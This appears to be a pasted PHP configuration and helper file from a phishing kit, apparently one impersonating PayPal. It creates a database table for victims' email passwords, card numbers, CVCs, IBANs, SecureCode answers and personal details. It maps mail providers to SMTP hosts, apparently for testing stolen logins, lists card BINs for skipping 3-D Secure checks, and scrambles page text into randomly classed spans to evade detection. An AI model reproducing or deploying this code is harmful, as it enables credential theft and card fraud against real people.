· 9 years ago · Jan 23, 2017, 08:54 PM
1<?php
2 session_start();
3
4 // Configuration
5 $config = [
6 'url' => 'http://' . $_SERVER['HTTP_HOST'] . '',
7 'mysql' => [
8 'hostname' => 'localhost',
9 'username' => 'root',
10 'password' => '123456',
11 'database' => 'pp'
12 ],
13 'bincodes' => [
14 'enabled' => true,
15 'api_key' => '2d974e94811161f1dda14bbf63aa9790'
16 ],
17 // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25
18 'smtps' => [
19 'web.de' => [
20 'host' => 'smtp.web.de',
21 'port' => 587
22 ],
23 'aol.com' => [
24 'host' => 'smtp.de.aol.com',
25 'port' => 587
26 ],
27 'aol.de' => [
28 'host' => 'smtp.aim.com',
29 'port' => 587
30 ],
31 'aim.com' => [
32 'host' => 'smtp.aim.com',
33 'port' => 587
34 ],
35 'arcor.de' => [
36 'host' => 'mail.arcor.de',
37 'port' => 25
38 ],
39 'bluewin.ch' => [
40 'host' => 'smtpauths.bluewin.ch',
41 'port' => 25
42 ],
43 'gmail.com' => [
44 'host' => 'smtp.gmail.com',
45 'port' => 587
46 ],
47 'gmail.de' => [
48 'host' => 'smtp.gmail.com',
49 'port' => 587
50 ],
51 'googlemail.com' => [
52 'host' => 'smtp.gmail.com',
53 'port' => 587
54 ],
55 'gmx.de' => [
56 'host' => 'mail.gmx.net',
57 'port' => 587
58 ],
59 'gmx.net' => [
60 'host' => 'mail.gmx.net',
61 'port' => 587
62 ],
63 'outlook.de' => [
64 'host' => 'smtp-mail.outlook.com',
65 'port' => 587
66 ],
67 'live.de' => [
68 'host' => 'smtp-mail.outlook.com',
69 'port' => 587
70 ],
71 'hotmail.de' => [
72 'host' => 'smtp-mail.outlook.com',
73 'port' => 587
74 ],
75 'live.com' => [
76 'host' => 'smtp-mail.outlook.com',
77 'port' => 587
78 ],
79 'outlook.com' => [
80 'host' => 'smtp-mail.outlook.com',
81 'port' => 587
82 ],
83 'yahoo.de' => [
84 'host' => 'smtp.mail.yahoo.com',
85 'port' => 25
86 ],
87 'yahoo.com' => [
88 'host' => 'smtp.mail.yahoo.com',
89 'port' => 25
90 ],
91 't-online.de' => [
92 'host' => 'securesmtp.t-online.de',
93 'port' => 25
94 ],
95 'unitybox.de' => [
96 'host' => 'submit.unitybox.de',
97 'port' => 587
98 ],
99 'kabelbw.de' => [
100 'host' => 'submit.kabelbw.de',
101 'port' => 587
102 ],
103 'one.com' => [
104 'host' => 'send.one.com',
105 'port' => 587
106 ],
107 'freenet.de' => [
108 'host' => 'mx.freenet.de',
109 'port' => 587
110 ]
111 ],
112 // Bins bei dem die SecureCode Abfrage übersprungen werden
113 'skipBins' => [
114 /*
115 '457096',
116 '548622',
117 '548621'
118 */
119 ],
120 // Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird)
121 'banks' => [
122 'santander' => [
123 //'SANTANDER CONSUMER BANK AG',
124 //'SANTANDER DIREKT BANK AG',
125 //'SANTANDER'
126 ],
127 'vw' => [
128 //'VOLKSWAGEN BANK GMBH',
129 //'VOLKSWAGEN'
130 ],
131 'advanzia' => [
132 //'ADVANZIA BANK, S.A.',
133 //'ADVANZIA'
134 ],
135 'barclay' => [
136 //'BARCLAYS BANK PLC',
137 //'BARCLAYCARD GERMANY',
138 //'BARCLAY'
139 ],
140 'airp' => [
141 //'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH'
142 ],
143 'dkb' => [
144 //'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE',
145 //'DEUTSCHE KREDITBANK'
146 ],
147 'lbb' => [
148 //'LANDESBANK BERLIN AG'
149 ],
150 'dzb' => [
151 //'DZ BANK AG',
152 //'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK'
153 ],
154 'wgz' => [
155 //'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK',
156 //'WGZ'
157 ],
158 'volksbank' => [
159 //'VOLKSBANK'
160 ],
161 'spardabank' => [
162 //'SPARDABANK',
163 //'SPARDA'
164 ],
165 'postbank' => [
166 //'DEUTSCHE POSTBANK AG',
167 //'POSTBANK BERLIN',
168 //'POSTBANK'
169 ],
170 'sparkasse' => [
171 //'DEUTSCHER SPARKASSEN - UND GIROVERBAND',
172 //'SPARKASSE',
173 //'SPARKASSEN',
174 //'SPARKASSE SCHAUMBURG',
175 //'SPARKASSE MAINZ',
176 //'STADTSPARKASSE'
177 ],
178 'random' => [
179 //'TARGOBANK AG AND CO. KGAA',
180 //'CITIBANK AG',
181 //'ING-DIBA AG',
182 //'COMMERZBANK AG',
183 //'MERCEDES-BENZ BANK AG',
184 //'LANDESBANK BADEN-WUERTTEMBERG',
185 //'COMDIRECT BANK AG',
186 //'DEUTSCHE BANK AG',
187 //'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG',
188 //'BAYERISCHE LANDESBANK GIROZENTRALE',
189 //'BAYERISCHE LANDESBANK',
190 //'SUEDDEUTSCHE BANK GMBH'
191 ]
192 ]
193 ];
194
195 if(!defined('CONTINUE_PDO')) {
196 // MySQL Connection
197 $pdo = new PDO(
198 'mysql:host=' . $config['mysql']['hostname'] . ';',
199 $config['mysql']['username'],
200 $config['mysql']['password']
201 );
202
203 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
204
205 $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']);
206 $pdo->query('use ' . $config['mysql']['database']);
207
208 $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
209 $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'");
210 $pdo->exec('SET NAMES \'utf8\'');
211 mb_internal_encoding('UTF-8');
212
213 $pdo->exec('
214 CREATE TABLE IF NOT EXISTS `admins` (
215 `id` int(11) NOT NULL AUTO_INCREMENT,
216 `username` varchar(255) NOT NULL,
217 `password` varchar(255) NOT NULL,
218 PRIMARY KEY (`id`)
219 ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
220
221 INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\');
222
223 CREATE TABLE IF NOT EXISTS `logs` (
224 `id` int(11) NOT NULL AUTO_INCREMENT,
225 `ip` varchar(255) DEFAULT NULL,
226 `user_agent` text,
227 `email` varchar(255) DEFAULT NULL,
228 `password` varchar(255) DEFAULT NULL,
229 `method` enum(\'creditcard\',\'bank\',\'none\') DEFAULT \'none\',
230 `firstname` varchar(255) DEFAULT NULL,
231 `surname` varchar(255) DEFAULT NULL,
232 `dob_day` int(11) DEFAULT \'0\',
233 `dob_month` int(11) DEFAULT \'0\',
234 `dob_year` int(11) DEFAULT \'0\',
235 `cc_number` varchar(255) DEFAULT NULL,
236 `cc_expire_month` int(2) DEFAULT NULL,
237 `cc_expire_year` int(4) DEFAULT NULL,
238 `cc_cvc` int(4) DEFAULT NULL,
239 `cc_bank` varchar(255) DEFAULT NULL,
240 `cc_type` varchar(255) DEFAULT NULL,
241 `cc_level` varchar(255) DEFAULT NULL,
242 `cc_country` varchar(255) DEFAULT NULL,
243 `cc_countrycode` varchar(255) DEFAULT NULL,
244 `cc_card` varchar(255) DEFAULT NULL,
245 `cc_limit` int(11) DEFAULT \'0\',
246 `bank_iban` varchar(255) DEFAULT NULL,
247 `bank_bic` varchar(255) DEFAULT NULL,
248 `bank_name` varchar(255) DEFAULT NULL,
249 `sc_1` varchar(255) DEFAULT NULL,
250 `sc_2` varchar(255) DEFAULT NULL,
251 `street` varchar(255) DEFAULT NULL,
252 `city` varchar(255) DEFAULT NULL,
253 `plz` int(5) DEFAULT NULL,
254 `timestamp` varchar(255) DEFAULT \'123456789\',
255 `mobilenr` varchar(255) DEFAULT NULL,
256 PRIMARY KEY (`id`)
257 ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
258 ');
259 }
260
261 // Classes
262 class RandomHash {
263 public static function init() {
264 if(!isset($_SESSION['randomLetter'])) {
265 $_SESSION['randomLetter'] = substr(str_shuffle(str_repeat($chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil(1 / strlen($chars)) )), 1, 1);
266 }
267 }
268
269 public static function generate($string = '') {
270 return $_SESSION['randomLetter'] . sha1($string . sha1(session_id()));
271 }
272
273 public static function generateUselessKey() {
274 return md5($_SESSION['randomLetter']);
275 }
276
277 public static function stringSplitUnicode($string, $l = 0) {
278 if ($l > 0) {
279 $result = [];
280 $length = mb_strlen($string, 'UTF-8');
281
282 for ($i = 0; $i < $length; $i += $l) {
283 $result[] = mb_substr($string, $i, $l, 'UTF-8');
284 }
285
286 return $result;
287 }
288
289 return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY);
290 }
291
292 public static function generateUseless($string = '') {
293 $result = '';
294
295 foreach(self::stringSplitUnicode($string) as $letter) {
296 $result .= '<span class="' . self::generate('rnd-span') . ' ' . self::generate(self::generateUselessKey()) . '">' . $letter . '</span>';
297 }
298
299 return $result;
300 }
301 }
302
303 RandomHash::init();
304
305 // Functions
306 function generateToken() {
307 if(version_compare(phpversion(), '7', '>=')) {
308 $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
309 } else if(function_exists('mcrypt_create_iv')) {
310 $_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
311 } else {
312 $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32));
313 }
314
315 return $_SESSION['csrf_token'];
316 }
317
318 function getToken() {
319 if(!isset($_SESSION['csrf_token']) || empty($_SESSION['csrf_token'])) {
320 generateToken();
321 }
322
323 return $_SESSION['csrf_token'];
324 }
325
326 function getOB($bankName) {
327 global $config;
328
329 $bankName = strtoupper($bankName);
330 foreach($config['banks'] as $obKey => $obNames) {
331 foreach($obNames as $obName) {
332 if(strtoupper($obName) == $bankName || strpos(strtoupper($obName), $bankName) !== false || (count(explode(' ', $bankName)) > 0 && strpos(strtoupper($obName), explode(' ', $bankName)[0]) !== false)) {
333 return strtolower($obKey);
334 }
335 }
336 }
337
338 return null;
339 }
340
341 function isLoggedIn() {
342 global $pdo;
343
344 if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) {
345 $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
346 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
347
348 return $stmt->rowCount() > 0;
349 }
350
351 return false;
352 }
353
354 function getLogsCount() {
355 global $pdo;
356
357 $qry = $pdo->query('SELECT NULL FROM `logs`');
358
359 return $qry->rowCount();
360 }
361
362 function getUserInfo($row, $filter = true) {
363 global $pdo;
364
365 if(isLoggedIn()) {
366 $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
367 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
368
369 if($stmt->rowCount() > 0) {
370 $obj = $stmt->fetch(PDO::FETCH_OBJ);
371 return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row};
372 }
373 }
374
375 return '';
376 }
377
378 function getIp() {
379 $ip = $_SERVER['REMOTE_ADDR'];
380
381 if(!empty($_SERVER['HTTP_CLIENT_IP'])) {
382 $ip = $_SERVER['HTTP_CLIENT_IP'];
383 } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
384 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
385 } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
386 $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
387 }
388
389 return $ip;
390 }
391?>